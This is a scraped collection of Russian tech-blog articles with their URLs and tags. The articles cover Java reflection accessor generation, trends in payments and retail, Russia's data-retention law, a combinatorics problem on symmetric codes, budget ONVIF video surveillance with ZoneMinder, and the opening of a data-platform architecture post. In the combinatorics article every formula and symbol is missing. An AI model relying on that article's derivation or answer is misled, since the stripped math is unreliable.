target, Object[] args) throws InvocationTargetException { String s; int x; try { if(args.length != 2) { throw new IllegalArgumentException(); } s = (String)args[0]; Object arg = args[1]; if(arg instanceof Byte) { x = ((Byte)arg).byteValue(); } else if(arg instanceof Character) { x = ((Character)arg).charValue(); } else if(arg instanceof Short) { x = ((Short)arg).shortValue(); } else { if(!(arg instanceof Integer)) { throw new IllegalArgumentException(); } x = ((Integer)arg).intValue(); } } catch (NullPointerException | ClassCastException ex) { throw new IllegalArgumentException(ex.toString()); } try { Test.test(s, x); return null; } catch (Throwable ex) { throw new InvocationTargetException(ex); } } } Заметьте, что вместо int мы имеем право передать Byte , Short , Character или Integer , и всё это обязано преобразоваться. Именно здесь преобразование и идёт. Такой блок будет добавляться для каждого примитивного аргумента, где возможно расширяющее преобразование. Теперь также понятно, зачем в catch ловится NullPointerException : он может возникнуть при анбоксинге и тогда мы обязаны также выдать IllegalArgumentException . Зато благодаря тому, что метод статический, нас совершенно не волнует, что в параметре target . Ну и появилась строчка return null , потому что наш метод возвращает void . Вся эта магия аккуратно расписана в MethodAccessorGenerator.emitInvoke . Вот так примерно и работает вызов методов. Похожим образом устроен вызов конструкторов. Также этот код частично переиспользован для десериализации объектов. Когда аксессор уже существует, с точки зрения JVM он не особо отличается от кода, который вы бы написали сами вручную, поэтому рефлекшн начинает работать весьма быстро. В заключение отмечу, что начиная с Java 7 появилось API java.lang.invoke которое тоже позволяет вызывать методы динамически, но работает оно совсем по-другому.
https://habrahabr.ru/post/318418/
habrahabr
8 колоссальных сдвигов, которые в 2017-м станут причиной бессонницы топ-менеджеров в сфере финансов, ритейла и платежей
['Финансы', 'ритейл', 'цифровые платежи', 'мессенджеры', 'ecommerce', 'PayOnline']
Сдвиги тектонических плит Земли способны вызывать масштабные разрушения. Самые мощные из них стерли с лица планеты целые цивилизации. Проблема в том, что мы не умеем предсказывать такие сдвиги или...
Сдвиги тектонических плит Земли способны вызывать масштабные разрушения. Самые мощные из них стерли с лица планеты целые цивилизации. Проблема в том, что мы не умеем предсказывать такие сдвиги или их разрушительность до тех пор, пока они не произойдут. Эта метафора очень хорошо описывает сложившуюся ситуацию и события в экосистемах платежей, коммерции и ритейла. В адаптированной нами статье , приводится 8 колоссальных сдвигов, которые могут либо уничтожить, либо дать серьезный толчок к развитию вашей тихой гавани в одной из этих экосистем в 2017 году. Какая судьба ждет ваш бизнес? Сегодня можно говорить о восьми ключевых сдвигах, которые идут незаметно, но настойчиво, и трансформируют то, что сегодня мы называем платежами, коммерцией и ритейлом. Разукрупнение банков Когда-то банковская деятельность включала сами банки во всем разнообразии их физических отделений и широкое разнообразие предоставляемых банками услуг. Главными конкурентами в борьбе за ваше внимание были банки у дома и у вашего места работы. Они отличались друг от друга предложениями — требованиями к минимальному остатку на счете (не всегда), процентными ставками по депозитам и накопительным программам, комиссиями (опять не всегда) и улыбчивыми (или не очень) сотрудниками своих филиалов, а также смежными продуктами, которые включались в предложение по умолчанию или предлагались в качестве дополнительных услуг. Сегодня миллиарды потребителей по всему миру держат «банк» в буквальном смысле в руке. Стимулирующим фактором этого перехода стали мобильные устройства. Теперь главное конкурентное преимущество — мобильное приложение с лучшим UX, и не важно, чей бренд на иконке, насколько проработаны и хороши предлагаемые продукты. Банкиры борются за свое «место под солнцем» рядом с чисто цифровыми банками, не обремененными устаревшей традиционной инфраструктурой. С банками, которые предоставляют раздельные пакеты услуг конкретным категориям потребителей на более выгодных условиях. Поколение «сбрасывающих оковы», которое не хочет покупать громоздкие контент-пакеты у операторов платного ТВ, требует аналогичного подхода к оказанию услуг и в финансовом секторе. И все это происходит в то же самое время, когда регуляторы, кажется, делают все возможное, чтобы поставить традиционные банки в невыгодные конкурентные условия. Такие изменения заставляют традиционные банки не только усилить мобильную и цифровую гонку, а также переосмыслить сущность банка, изучить новые потребности своих клиентов: кому потребители смогут доверить предоставление банковских сервисов, какие сервисы они хотят получить и требуют от провайдеров услуг. Все это, несомненно, будет включать пересмотр процедур управления активами и репутацией, которая преподносила их как надежных хранителей клиентских финансовых активов. В то же время не обойдется и без использования новых технологий и сотрудничества с новаторами в этой области, чтобы сделать банкинг частью новой, мобильно-цифровой эпохи. Коммодизация ритейла Сегодня сферу ритейла, как и банкинг, меняет новый конкурент. Небольшой онлайн-магазин по продаже книг, который спустя 20 лет стал самым крупным ритейлером в мире (если судить по рыночной капитализации). В отличие от банков и их многочисленных цифровых конкурентов, за 20 лет Amazon значительно вырос и в процессе перестроил весь ритейл. Amazon не просто удачно прокатился на гребне онлайн-волны; он сформировал ее и вдохновил целое поколение интернет-магазинов сделать то же самое. Amazon и новаторы, которые появились после него, в корне изменили подход к совершению покупок и использованию физических магазинов. К примеру, потребителям больше не нужно посещать магазины, чтобы найти нужный продукт — теперь веб-сайт — их новая электронная витрина. Теперь по одному щелчку мыши товары еженедельной необходимости, такие как стиральный порошок, бумажные полотенца, моющие средства, лампочки, шампунь и корм для животных — появятся у ваших дверей в течение двух дней. Товары, ради которых потребители шли в магазин, чтобы опробовать их и купить, теперь можно заказывать онлайн — и часто на Aмазoне. Это заставляет ритейлеров всех мастей изыскивать способы вернуть своих покупателей в магазин или, по крайней мере, увеличить число, нажавших «купить» на их сайтах. Ритейлерам приходится постоянно переосмысливать само видение ритейла и думать, как покупатели принимают решения, где начать и закончить свой потребительский маршрут — и почему. Когда клиенты, вооружившись мобильным телефоном, имеют доступ практически ко всей информации о любом необходимом продукте и знают где купить его подешевле, технологии становятся движущей силой ритейла, но нельзя рассматривать их в качестве единственного и неповторимого спасательного круга. Переход «физического» ритейла в цифровой подразумевает объективный взгляд на то, чего хотят и ожидают потребители от своих любимых брендов, а затем и осмысление, как технологии могут воплотить эти ожидания в персонифицированную, выгодную и безопасную реальность. Демократизация кредитов Транзакционные кредиты, предлагаемые финтех-инноваторами, возвращают нас во времена кредитов от лавочника и выводят их на новый уровень, предлагая кредитные опции для людей и ритейлеров — в формате одной сделки за раз. Онлайн-кредиторы предоставляют потребителям и малому бизнесу новые кредитные возможности и варианты – в некоторых случаях рефинансируют займы, изначально предоставленные банками, при этом отбирая комиссионный доход у традиционных кредиторов. Р2Р-платформы в развивающихся странах, вероятно, впервые предлагают своим пользователям доступ к новым способам финансирования и широкий доступ к кредитам. Наперекор регулирующим органам, старающимся максимально прижать небольшие займы и краткосрочные кредитные продукты, новаторы создают новые способы предоставления кредитов среднему классу в удобной и дружелюбной к пользователям форме. Но, как и в ритейле, одной технологии недостаточно, это лишь движущая сила для традиционных структур и новаторов. Переход к новым способам предоставления кредитов при сохранении уровня доходов потребует скрупулезного подхода к одновременному упрощению доступа к кредитованию и управлению связанными с этим рисками. Цифровые платежи изменяют способы оплаты в магазинах Давным-давно, и не так давно тоже, главными факторами успешного запуска новой платежной схемы были принятие новой схемы аудиторией и повсеместная распространенность. Спросите у Discover, которым удалось запустить четвертую по счету систему тридцать лет назад. Если ваша пластиковая карта принималась не везде, где хотел бы покупатель, это означало, что вас вообще как бы нигде и нет. Выход на большие масштабы обходился очень дорого и занимал много времени. Электронные платежи и устройства с интернет-подключением переворачивают с ног на голову ситуацию с принятием аудиторией и распространенностью. Старбакс остается самой успешной компанией, запустившей собственную схему платежей с мобильного счета. Им удалось перевести на нее примерно 25% от всего объема расчетов за пять лет. Старбакс добилась лояльности покупателей к новой системе оплаты и сделала свое приложение доступным в каждом магазине. Мобильные приложения, работающие по принципу «плати у колонки» (принцип оплаты на месте, название произошло от способа оплаты бензина, когда покупатель проводит карту через ридер, установленный непосредственно на колонке) некоторых независимых франшиз обогнали по популярности оплату с помощью кредитной карты. Они позволяют покупателям экономить деньги на каждом галлоне топлива и избежать лишних действий во время заправки. Так, Walmart Pay отчитался о результатах за первый год работы, и они превосходят все ожидания. Самостоятельная безналичная оплата без помощи кассира стала доступна в каждом из 4000 магазинов и изменила привычки 22 миллионов потребителей, ежемесячно использующих приложение Walmart.com в магазинах. Пример Apple Pay и его бесконтактного способа оплаты показал, что само по себе создание системы платежа с помощью мобильного устройства, воспроизводящего опыт использования пластиковых карт и платежных терминалов, не является рецептом победы в сфере цифровых платежей. Рецепт победы заключается в добавлении дополнительных полезных механизмов «поверх» самой схемы цифровых платежей, эти механизмы должны устранять неудобства, связанные с процессом покупки, и добавлять новые возможности. Покупка онлайн и получение в магазине. Заказ товаров через мобильные устройства и возможность нажать кнопку «купить», находясь в любой точке магазина, чтобы оформить покупку. Или специальное приложение, которое знает, что покупатель в магазине и предлагает ему релевантные акции и скидки до того как он расплатился. Все это — те самые дополнительные возможности, которые возникают «поверх» новых платежных систем и примеры подхода, предлагающего покупателям нечто гораздо более ценное, чем просто оплата телефоном на платежном терминале. Это демонстрация элементарного уважения к личному времени покупателей и их возможности управлять собственным процессом покупок. Такой переход, очевидно, потребует от игроков на рынке платежей начать задумываться о том, как потребители начинают свой маршрут покупок, а не только о том, как они его заканчивают. О том, как использовать свои активы и инфраструктуру для создания востребованного покупательского опыта, а не просто стараться построить как можно больше физических точек продаж. Быть «везде» в цифровую эпоху, не означает участвовать в соревновании про принятие платежей с помощью автоматизированных терминалов непосредственно в магазинах. Это в большей степени история про работу в онлайне, откуда начинаются практически все маршруты покупателей. И с течением времени именно онлайн позволит еще больше упростить процессы платежей в магазинах. Приложения-мессенджеры борются за позиции на рынке WeChat показал всему миру, что экосистема мессенджеров включает в себя намного больше, чем обмен эмотиконами и текстами со своими друзьями. WeChat стал показательным примером того, как конвертировать критическую массу лояльных пользователей (700 миллионов человек) в живую и действующую платформу для коммерции. Мессенджеры по всему миру переняли опыт WeChat в создании коммерческих платформ. Процесс идет параллельно с бурным ростом и увеличением количества пользователей мессенджеров, которые сейчас существенно опережают «классические» соцсети. Более 2,5 миллиардов человек пользуются мессенджерами на своем телефоне, и более миллиарда человек в месяц используют Messenger и Whatsapp. Пользователи Whatsapp проводят в приложении около 3,5 часов в неделю. Но WeChat начинал свой путь в Китае немного иначе, в первую очередь подсадив пользователей на коммерческие функции внутри приложения. Внутри этой экосистемы появились приложения, недоступные вовне. Так повышалась ценность и привлекательность их использования. А покупатели, в свою очередь, прощали за такие возможности некоторые стартовые шероховатости в UX. На сегодняшний день в развитых странах мессенджеры используются только для обмена сообщениями. У потребителей есть доступ к целому набору мобильных приложений и веб-платформ для управление своими «коммерческими сущностями». Конечно, отправка уведомлений о доставке и переписка с менеджерами по продажам часто происходит именно текстом, в чатах. Но бронирование путевок, поиск костюма на корпоратив или резервирование столика в ресторане с помощью Messenger, WhatsApp или iMessage по-прежнему остаются непривычном делом для большинства пользователей. Новаторы прилагают все усилия, чтобы это изменить. Десятки тысяч чатботов с функцией поддержки платежей были встроены в платформы для обмена сообщениями. Большинство из них находится на начальных стадиях разработки и пользоваться ими безумно тяжело и неудобно. Для того чтобы в сознании потребителей мессенджеры стали новой входной точкой в область коммерции, приложения должны стать гораздо умнее, а пользовательский интерфейс куда более гибким и удобным. Коммерция становится интерактивной Голос — это самый распространенный инструмент, используемый в процессе торговли. Он есть у каждого из нас, и осуществление покупок и взаимодействие с продавцами голосом – привычное дело. Голос также самый простой в использовании инструмент – не надо печатать, кликать и нажимать кнопку «Купить». Именно поэтому рынок наполнился бесчисленным количеством новых игроков и платформ, предлагающих решения по образцу голосовых командных центров. И множество крупных компаний хотят использовать голосовое управление себе на пользу. Сервис Alexa, у которого на сегодняшний день более 5000 специальных навыков, предлагает пользователям новые эффективные возможности поиска в интернете, делает его более доступным и придает дополнительный контекст. Хотите знать, как испечь торт «Колибри» для вашей вечеринки в следующие выходные? Просто спросите Alexa, которая поможет не только найти рецепт и прочтет его вслух, но и внесет все необходимые ингредиенты в ваш список покупок, сделает заказ и обеспечит доставку, вполне вероятно, даже в тот же день. Alexa и ее коллеги – активируемые голосом персональные ассистенты от Google, Apple и Microsoft сильно меняют взаимодействие пользователей с брендами. А именно: они делают бренды «невидимыми» для покупателя. Если ранее банки и провайдеры платежей чувствовали себя уязвимыми, когда платежные реквизиты клиентов хранились в приложениях, то голосовые экосистемы меняют ситуацию в корне и совершенно удивительным образом. Приложения и веб-сайты, которые активируются голосовым помощником, могут использовать аккаунты, зарегистрированные многие месяцы и годы назад. Переход к интерактивной коммерции создает новый вызов — как провайдерам платежей, банкам, сетям и ритейлерам оставаться властителями дум? И хотя сам переход призван обеспечить потребителям новые удобные способы участия в коммерции, появление новых моделей с их новыми преимуществами позволит создателям голосовых ассистентов устанавливать определенные преференции — управляемые и монетизируемые, конечно, не без помощи новых голосовых «привратников». Коммерция повсюду, где есть подключение к интернету Пару лет назад разговор о том, что торговля может распространиться на любую область, сводился к обсуждению предоставления микро-продавцам интернет-»свистка», подключаемого к телефону. А намерение потребителя приобрести товар превращалось в законченную операцию только после совершения определенных действий непосредственно в точке продажи — в магазине — после вручения карты продавцу. Как вариант, в онлайне или в приложении — после нажатия кнопки «Купить». Широкое распространение беспроводных технологий изменило все. И хотя сегодня речь идет в основном о мобильных телефонах и очень небольшом списке носимых устройств, по оценкам аналитиков, в течение следующих пяти лет число подключенных к интернету устройств достигнет 30 миллиардов единиц. И с помощью каждого можно будет делать покупки. Искусственный интеллект и машинное обучение прокладывают путь в будущее, обеспечивая возможность более качественного принятия решений в режиме реального времени без вмешательства человека. Это касается и необходимости прямого инициирования покупателем торговой транзакции. Теперь информация может храниться и обрабатываться непосредственно на умных устройствах, а значит, сфера коммерции может работать на автопилоте. Бойлер вызовет сантехника, прежде чем выйдет из строя, кулер закажет воду, когда ее запасы начнут подходить к концу, умный холодильник составит список покупок по мере опустошения полок, стиральная машина приобретет порошок и кондиционер до того, как они закончились, а автомобиль станет самостоятельным умным мобильным устройством, которое сможет найти и оплатить парковку, не прекращая своего движения по городу, и это далеко не все. Внедрение систем электронных платежей стало катализатором для превращения множества устройств с выходом в интернет в этакие торговые хабы. Также в этом велика роль информации, которая аккумулируется и раздается. Дело не только в том, что торговля получает определенную независимость от прямой инициации сделок потребителями или бизнесом, но и в том, что информация становится основой новых бизнес-моделей и возможностей по монетизации для производителей таких устройств и ПО платформ, которые они используют. Успешный переход на новую модель заключается не только в монетизации данных и максимизации возможностей цифровых платежей. Защита транзакций, совершаемых на различных устройствах, в век изощренного мошенничества также является нетривиальной задачей. Важно обратить внимание и на вопросы, касающиеся конфиденциальности данных, которыми устройства обмениваются друг с другом независимо от прямых действий потребителя. Цифровая личность становится лучшим средством защиты от мошенничества Торговля начинается с идентификации личности покупателя и на этом же этапе она может резко закочниться. Создание цифровой личности человека – это создание своеобразного универсального паспорта, который понадобится потребителю для обеспечения безопасности любого действия в цифровом мире. И в отличие от физических документов, которые могут быть подделаны, потеряны или украдены, цифровую личность можно защитить при помощи разнообразных современных протоколов и технологий. Они также могут быть адаптированы под нужды конкретной проверяющей стороны. Создание безопасной цифровой идентификации подразумевает не только проверку личности покупателя в рамках конкретной сделки, но и сбор специальных данных о покупателе, которые могут быть выборочно представлены по мере необходимости. Передовые технологии и протоколы предоставляют банкам и игрокам на рынке платежных сервисов возможности разработки не одного, а множества вариантов цифровой личности для своих клиентов. Соответственно, можно будет запрашивать любой из вариантов и получать только ту часть информации, которая важна в данный конкретный момент времени. Согласитесь, подача заявки на ипотечный кредит или новую кредитную карту требует гораздо более тщательной проверки личности, нежели вход в аккаунт Twitter или продление водительских прав онлайн. Сделать это не так просто, как кажется на первый взгляд. Эксперты сходятся во мнении, что для создания и проверки цифровой личности пользователя в ходе его коммерческого маршрута необходима целая многоуровневая система. Сегодня идут жаркие споры насчет того, кто же станет разработчиком или хранителем этих уровней, кто будет делать личности функционально совместимыми, каким образом цифровые личности будут «выпускаться» и кто будет осуществлять эту функцию. Будет ли «цифровая личность» пользователя похожей на реальную? Существует единодушное мнение насчет того, что пароли постигнет судьба вымершей птицы Додо, и что надежная цифровая идентификация – один из главных приоритетов в отрасли. На что будет похожа эта новая цифровая личность и как она будет создаваться – еще предстоит определить. Динамичный характер развития платежных систем, коммерции и ритейла гарантирует наступление глобальных изменений в этих экосистемах в течение ближайших десятилетий. Толчки, которые мы ощущали до сих пор, были вполне терпимыми. Они были следствием довольно «приглушенных» извержений. И в отличие от сдвигов, которые происходят под земной поверхностью, мы видим целый ряд признаков, подсказывающих, как именно кусочки головоломки будут собираться вместе или отделяться друг от друга.
https://habrahabr.ru/company/payonline/blog/312370/
habrahabr
Операторам увеличили срок?
['пакет яровой', 'операторы связи', 'телекоммуникации', 'регулирование интернета']
Почти полгода минуло с подписания президентом, так называемых, “поправок Яровой”, вызвавших истерику в отрасли телекоммуникаций. Минкомсвязи наконец доработало условия хранения трафика....
Почти полгода минуло с подписания президентом, так называемых, “поправок Яровой”, вызвавших истерику в отрасли телекоммуникаций. Минкомсвязи наконец доработало условия хранения трафика. Собственно все стало только хуже. Согласно " поправкам Яровой " операторам и организаторам распространения информации с 1 июля 2017 года придется хранить аудиозаписи звонков, содержание переписки и другие виды коммуникаций пользователей. Максимальный срок хранения — шесть месяцев. Законопроект, названный представителями отрасли невыполнимым и губительным, был принят законодателями легко и без раздумий. Министерствам оставалось лишь доработать детали, чтобы подписать окончательный приговор. В пятницу, 23 декабря, Минкомсвязи РФ представила на общественное обсуждение проекты постановления правительства, где уточняются требования по исполнению операторами связи пунктов “пакета Яровой”. В проекте , представленном на обсуждение прописаны требования для различных видов связи. В первую группу вошли операторы, предоставляющие услуги местной, внутризонной, междугородной и международной телефонной связи. Им придется хранить переговоры пользователей в течение шести месяцев. Ко второй группе регулятор относит операторов сотовой связи и интернет-провайдеров. Здесь всё несколько сложнее. Этой категории Минкомсвязи предлагает фиксировать не срок, а объем хранимой информации. Вот цитата из проекта постановления: “ ...4. Оператор связи, оказывающий услуги местной, внутризоновой, междугородной и международной телефонной связи обеспечивает хранение голосовой информации, текстовых и иных видов сообщений в течение срока, не превышающего шести месяцев. 5. Оператор связи, оказывающий иные услуги связи, хранит содержание сообщений в хранилище следующего объема: с 1 июля 2018 года в объеме 1 Пбайт на каждый Гбит/с емкости (пропускной способности) введенного в эксплуатацию узла связи; с 1 января 2019 года в объеме 2 Пбайт на каждый Гбит/с емкости (пропускной способности) введенного в эксплуатацию узла связи. 6. Запрос необходимого содержания сообщений осуществляется по команде с пункта управления оперативно-розыскными мероприятиями (далее – ОРМ) при организации круглосуточного удаленного доступа к хранилищу содержания сообщений. 7. Каналы связи технических средств ОРМ с пунктом управления ОРМ, организуемые оператором связи, должны обеспечить съем содержания сообщений уполномоченными государственными органами в процессе выполнения возложенных на них задач в порядке и случаях, установленных федеральными законами. 8. Необходимое количество и тип цифровых каналов, а также точки подключения хранилища к пункту управления ОРМ определяет уполномоченный государственный орган, осуществляющий оперативно-розыскную деятельность в субъекте Российской Федерации ”. По подсчетам операторов, новые требования — это максимально худший расклад из возможных. При обычном профиле трафика в 1 Пбайт такие требования и составляют примерные сроки хранения в шесть месяцев. Причем с 2019 года объем обязательного для хранения трафика вырастет в два раза, а значит хранить трафик пользователям операторы будут обязаны в течение года. “ Посчитал на примере пары компаний, получается создание такого ЦОД-а обойдётся в годовой EBITDA, за эту сумму покупают… и считается, что ценник = годовой выручке это хорошая цена. Считаю невыполнимым ” отмечает на форуме Nag.ru представитель одного из тюменских провайдеров. “ Тут мало того что придется окупить деньги на хранилище стоимостью в годовую выручку, так еще это же самое будут делать «магистралы». Т.е. фактически мы оплатим не только свое хранилище, но и хранилище магистралов (они же деньги с нас соберут) Ну вот и прикинем. Абонент с 10 Мбит трафика это затраты 2 * 2(ПТ/Гбит) * 0.01 Гбит = 40 Гбайт на такого абонента = 120т капвложений (только диски 4*10Г). И раз в 5 лет это точно надо обновлять. Это возможно только если а/п будет не менее 2500р (примерно в 10 раз выше текущей). Но это еще семечки. Чтобы вот построить все это надо взять кредит в размере чуть ли не двух годовых выручек на 10 лет под менее 10% (а то и 5%). Есть желающие такой кредит дать? Не вижу леса рук ” пишет пользователь под ником Tosha. Представители большой четверки также прикинули возможные затраты, которые в любом случае оказались выше среднегодовой выручки. “ Такой подход очень незначительно уменьшает прогноз, который мы давали по затратам на исполнение «закона Яровой » — но сами затраты в любом случае будут выше годовой выручки компании” пояснила “РБК” представитель “МегаФон” Юлия Дорохина. Как считает директор по эксплуатации “Комкор” (входит в ГК “Акадо”) Михаил Медриш, некорректно брать в расчеты максимальную пропускную способность узлов связи, поскольку она практически никогда не задействована на максимум. При таком подходе сроки хранения информации могут быть даже больше полугода. По словам главы ООО «ОрдерКом», кандидата юридических наук, Дмитрия Галушко, Правительство своим постановлением дало понять операторам каковы “правила игры”, чтобы отрасли было ясно, как дальше планировать собственный бизнес. Выводы же из очередного “убийственного” буквенного сочинения властей неутешительны. Мелкие операторы смогут выжить лишь при условии отсутствия контроля за исполнением закона со стороны властей. В ином случае, выживут лишь крупные компании и те кто сумеют объединиться. Затраты на строительство хранилищ данных в любом случае будут возложены на абонентов — иначе просто не может быть, это элементарный закон рынка. При этом операторы не исключают такой возможности, что право производства оборудования для хранения данных будет отдано неким отечественным производителям, находящимся под контролем спецслужб. При таком раскладе ценник может быть существенно выше, чем у зарубежных аналогов, что лишь увеличит финансовую нагрузку на отрасль. Кроме того, операторы перестанут вкладываться в развитие собственной инфраструктуры и перестанут вводить в эксплуатацию новые узлы связи. Ведь это автоматически повлечет за собой увеличение объема хранения данных. Отрасль без развития может ожидать лишь стагнация и упадок. P.S. На момент написания публикации в СМИ появилось обнадеживающее заявление главы Минпромторга Дениса Мантурова: “ Мы прошли вторую итерацию в части согласования предложений между органами безопасности, операторами и производителями телекоммуникационного оборудования. В первой половине 2017 года можно ждать окончательного решения по механизму реализации закона. Оно существенно отличается от первоначального варианта, мы нашли компромиссы. Это решение будет более комфортным для операторов и обеспечит как интересы вопросов безопасности, так и оптимизацию затрат операторов ”.
https://geektimes.ru/company/nag/blog/284076/
habrahabr
Об одной комбинаторной задаче
['математика', 'комбинаторика']
В процессе научной работы у меня накопилось несколько интересных результатов, которые, с моей точки зрения, слабоваты для публикации в научном издании, однако сами по себе представляют интерес,...
В процессе научной работы у меня накопилось несколько интересных результатов, которые, с моей точки зрения, слабоваты для публикации в научном издании, однако сами по себе представляют интерес, например в области спортивного программирования. Один из таких результатов, который я сформулирую ниже, в некоторой вариации может быть предложен соискателю на собеседовании в крупную IT-компанию. Итак, начну издалека. Я изучал стационарные локализованные структуры в одномерном уравнении Гросса-Питаевского, [пример работы] . Такие структуры, при некоторых достаточных условиях на параметры задачи, можно кодировать бесконечными в обе стороны символическими последовательностями, которые мы называем кодами. То есть, непрерывные решения дифференциального уравнения классифицируются дискретными кодами. Алфавит кодировки, как правило, конечен и состоит из некоторого нечетного числа символов, например из символов, где – натуральное число. В алфавите есть нулевой символ , а все остальные символы делятся на пары, связанные некоторой симметрией. Для простоты мы будем обозначать алфавит кодировки , где символы и симметричны друг другу. Число мы будем называть мощностью алфавита . Так как исследуемые нами структуры локализованы по пространству, то их коды начинаются и заканчиваются бесконечным числом нулевых символов, то есть имеют вид Центральная часть кода , или его носитель, состоит из символов, причем крайние символы носителя, и , не являются нулевыми символами. Число мы будем называть длиной кода . Теперь, для каждого кода мы можем записать три симметричных кода, где и – две интересующие нас симметрии кодов. Задача ставится следующим образом: найти число всех кодов длины , составленных из алфавита мощности с точностью до двух симметрий и . То есть, если два произвольных кода связаны симметриями , или , то мы считаем такие коды одинаковыми. В условиях цейтнота, на собеседовании, довольно быстро можно ответить, что число всех кодов без учета симметрий равно . Дальше, с моей точки зрения, задачу следует решать с карандашом в руках. Сразу скажу, что мое решение может быть не оптимальным (в смысле количества и простоты математических операций). Пользователь mihaild предложил очень элегантное решение такой задачи через группу инвариантных перестановок и лемму Бёрнсайда. Решение Обозначим множество всех кодов . Разобьем на три непересекающихся подмножества В подмножестве коды имеют следующую структуру В подмножестве коды имеют следующую структуру Соответственно, по определению, в подмножествах и коды разбиваются на пары , а в подмножестве – на четверки , то есть где – число различных кодов в подмножестве , – мощность . Рассмотрим случай нечетного . Для подмножеств , и запишем Для исходного множества получим оценку Рассмотрим случай четного . Для подмножеств , и запишем Для исходного множества получим оценку Ответ В итоге, в качестве ответа можно записать следующую систему уравнений (заменим обозначение на , так как зависит от переменных и ) В заключении отмечу, что ответ получился немного сложнее, чем могло показаться при первом знакомстве с задачей. Подобная задача вряд ли годится для блиц-опроса, но и не является чересчур сложной, чтобы в какой-нибудь вариации не быть предложенной на собеседовании. Для проверки полученной формулы приведем следующие значения: , , , . Соответственно, приведем таблицу различных кодов, возникающий в этом случае. Так как , то мы выпишем коды, составленные из упрощенного алфавита .
https://habrahabr.ru/post/318458/
habrahabr
Бюджетное видеонаблюдение для прижимистых «чайников»
['видеонаблюдение', 'безопастность', 'CCTV', 'onvif', 'zoneminder']
Скоро будет 7 лет с момента написания статьи "Видеонаблюдение под Ubuntu для «чайников» (ZoneMinder)". За эти годы она не раз корректировалась и обновлялась в связи с выходом новых...
Скоро будет 7 лет с момента написания статьи " Видеонаблюдение под Ubuntu для «чайников » (ZoneMinder)". За эти годы она не раз корректировалась и обновлялась в связи с выходом новых версий, но кардинальная проблема, а именно — стоимость IP видеокамер, оставалась прежней. Её обходили оцифровывая аналоговые потоки и эмулируя IP камеры с помощью USB «вебок». Ситуация изменилась с появлением китайских камер стандарта ONVIF 2.0 (Open Network Video Interface Forum). Теперь любую камеру отвечающую стандарту вы можете настроить с помощью ONVIF Device Manager . Более того, вы сразу можете увидеть адреса и параметры потоков вещания с камеры. Да, да. Теперь потоков, как минимум — 2, не считая звука. Один архивный — в максимальном качестве, другой — рабочий в меньшем разрешении. * Все картинки кликабельны Я буду рассказывать на примере камеры MISECU IPC-DM05-1.0 Купил её в «чёрную пятницу» по цене 1059,15 руб. Сейчас они подняли цену и я бы скорее приобрел GADINAN . Что в прочем, одно и то-же. В любом случае, аппаратная часть моей камеры определяется как hi3518e_50h10l_s39 не зависимо от того, какой логотип написан на коробке. Камера купольная, по факту представляет из себя шарик «на верёвочке» легко вынимаемый из гнезда-держателя. Если будете заказывать, обратите внимание, что блок питания надо покупать отдельно (DC 12V/2A). Я использовал БП от сгоревших китайских-же настольных часов. К сожалению, звука и управления позицией в камере нет. Для этих целей подойдет какой-нибудь беби-монитор типа этого или этого . Главное, что бы в названии было слово Onvif. После распаковки и включения надо выставить IP адрес каждой камеры (по умолчанию у всех жестко 192.168.1.10), чтобы они не конфликтовали между собой. Это можно сделать в ONVIF Device Manager или штатной утилитой General Device Manage которая идет в комплекте, на мини CD. Далее, выставляем временную зону, параметры отображения дат и имя для каждой камеры. Создаем пользователей с правами «только для просмотра». Веб-интерфейс камеры, программы CMS и интерфейс облака в браузере совершенно одинаковы, неудобны и требуют IE c ActiveX. Благо, их можно с успехом заменить приложением XMeye установленным на Android или iOS. Но, прежде необходимо сделать нашу камеру видимой для облака. Для этого откройте порт по которому работает Onvif (8899) на вашем коммутаторе. В моём случае — это NAT Setting-Virtual Server. Если камер несколько, то внутренний порт для каждого IP оставляете прежним, а внешний меняете на пару значений. Далее, камера сама постучится в облако и предъявит свой индивидуальный CloudID. Вам нужно будет только добавить его в свой профиль в облаке. Собственно, сама по себе камера уже может детектить движение, стримить видео и отправлять аллармы. Вкупе с облачным сервисом XMeye — это готовый сервис мониторинга. Если вам хочется иметь свой собственный регистратор с архивами, и вы любите Windows, то ставьте бесплатные iSpy , или SecurOS Lite (до 32 камер) или бесплатную-же версию (до 8 камер) Xeoma . Кстати, у последней есть версии для Mac OS X, Linux включая ARM и Android. С настройками не должно возникнуть проблем, так что можете дальше не читать. Остальная часть статьи написана для Linux. Я был приятно удивлен обнаружив в Zoneminder v.1.30.0 визард для настройки ONVIF камер. Он позволяет подключить к консоли любой из потоков идущих с камеры в зависимости от аппаратных возможностей и потребностей оператора. Установка и настройка Zoneminder никогда не были лёгким занятием. Последняя версия вышла особо капризной и требует предварительной установки веб-сервера LAMP, с последующим выполнением ряда дополнительных действий . Поэтому, приведу старый «джедайский» способ подключения камеры для более старых версий: 1. Определите адреса потоков через ONVIF Device Manager или Xeoma. У вас должно получиться что-то похожее: rtsp://192.168.1.4/onvif1 или rtsp://192.168.1.1*/user=****_password=****_channel=1_stream=1.sdp?real_stream Не забудьте заменить звездочки (*) своими данными. 2. Проверьте адреса в проигрывателе VLC. Меню-Медиа-Открыть IRL 3. Добавьте новый монитор с параметрами: Source Type — Remote Remote Host Path — rtsp://192.168.1.1*/user=****_password=****_channel=1_stream=1.sdp?real_stream Желаю удачи.
https://geektimes.ru/post/284078/
habrahabr
Архитектура хранения данных в Facetz.DCA
['Facetz.DCA', 'DCA', 'DMP', 'хранение данных', 'Apache', 'Hadoop', 'BigData']
В цикле статей «BigData от А до Я» мы рассмотрели один из наиболее часто используемых технологических стеков для работы с большими данными Apache Hadoop и привели примеры его использования в...
В цикле статей « BigData от А до Я » мы рассмотрели один из наиболее часто используемых технологических стеков для работы с большими данными Apache Hadoop и привели примеры его использования в продуктах DCA. Теперь мы расскажем, как выглядит архитектура хранения данных в Facetz.DCA. Что такое Facetz.DCA? Facetz.DCA относится к компонентам programmatic-инфраструктуры, которые носят название DMP — Data Management Platform (Платформа обработки пользовательских данных). Задача DMP — имея информацию об активности пользователя построить его «тематический портрет» — множество интересов. Данный процесс называется сегментацией. Например, зная, что человек часто посещает сайты о рыбалке, можно сделать вывод о том, что он заядлый рыболов. Результат — сегменты пользователя, впоследствии могут использоваться для показа наиболее релевантных рекламных объявлений. В упрощенном виде схема работы DMP выглядит так: данные о пользовательской активности поступают в систему, она анализирует пользователей и возвращает по id множество сегментов. Facetz.DCA хранит данные об активности более 600 млн. анонимизированных пользователей и отдает интересы пользователя в среднем менее, чем за 10 мс. Необходимость в такой высокой скорости диктуется процессом показа рекламы по технологии Real Time Bidding — ответ на запрос о показе должен быть дан в течение 50 мс. При построении архитектуры хранения данных в DMP решаются две задачи: хранение 